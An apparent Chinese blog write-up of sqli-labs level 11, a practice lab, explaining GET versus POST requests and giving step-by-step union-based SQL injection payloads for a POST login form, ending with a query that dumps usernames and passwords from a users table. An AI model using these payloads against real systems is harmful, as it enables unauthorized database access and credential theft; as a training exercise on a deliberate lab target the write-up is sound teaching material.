sqli-labs关卡11(基于post提交的单引号闭合的字符型注入)通关思路


前言

此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!


一、回顾前十关

前十关是基于get提交的sql注入。sql注入按照注入点类型又分为数字型,字符型。按照回显类型又分为有回显的简单sql注入和无回显的盲注以及报错注入。从这一关开始是post提交的sql注入了,让我们看看有什么不一样的地方吧。

二、第十一关要了解的知识

1、get请求与post请求的区别(从sql注入角度)

1、get请求

get请求一般提交参数是在url显现出来,比如前10关的共同点是网址后面都会加上参数?id=1。像这种直接把提交参数在url显现的是get请求。get请求一般出现在搜索查询的地方,比如常见的淘宝搜索商品界面。

2、post

post请求与get请求相反,不会把提交参数显示到url中。而是提交到表单中,一般参数是看不到的,要通过抓包。post请求一般出现在可以修改和提交数据的地方,比如登录框。

3、总结

post请求比get请求相对安全一些,提交参数不会显示到url,更具有隐蔽性

三、靶场第十一关通关思路

  • 1、判断注入点
  • 2、爆字段个数
  • 3、爆显位位置
  • 4、爆数据库名
  • 5、爆数据库表名
  • 6、爆数据库列名
  • 7、爆数据库数据

1、判断注入点

首先看到页面是一个登录框,明显是post类型的页面。使用万能语句1 or 1=11 or 1=2发现页面正常,所以排除数字型。输入1'发现页面报错(如图一所示)

You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use
near ‘1’ LIMIT 0,1’ at line 1
图一

那么再试一下(如图二、三所示)

1' or 1=1#
1' or 1=2#

发现1=2页面异常报错,1=1正常。所以是单引号闭合。
图二所示
如图三
注意:这里不用and用or是因为短路原则,因为and是一假为假,两真为真。而且这里我们是不知道参数是啥(账号密码不知道)所以A and B,的A九成是假的(因为你不知道账号密码)如果A为假,那么就不会识别B了(B是我们注入语句)。不懂的看我靶场第一关讲解。
还有就是注入语句不一定只能在username进行,password也行。只要与数据库有交互,还有可控参数的话就能都试一试。

2、爆字段个数

注入语句为

1' order by 3#

发现3时报错,说明显位有两个。(如图所示)
在这里插入图片描述

3、爆显位位置

注入语句为

1' union select 1,2#

发现显位是1,2.(如图所示)
在这里插入图片描述

4、爆数据库名

注入语句为

1' union select user(),database()#

在这里插入图片描述
成功爆出数据库名为security,用户为root@localhost,版本号自己用version()查询就行了。

5、爆数据库表名

注入语句为

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

得到表有emails,referers,uagents,users.其中users有关键信息的概率大。(如图所示)
在这里插入图片描述

6、爆数据库列名

注入语句为

1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"#

得到所有列名(如图所示)
在这里插入图片描述

7、爆数据库数据

注入语句为

1' union select group_concat(username),group_concat(password) from users #

如图所示
在这里插入图片描述


总结

从这一关起开始是post类型的sql注入了,不再是get类型了。但是注入过程都是差不多的。此文章是小白自己为了巩固sql注入而写的,大佬路过请多指教!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

无名小卒且不会安全的zzyyhh

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值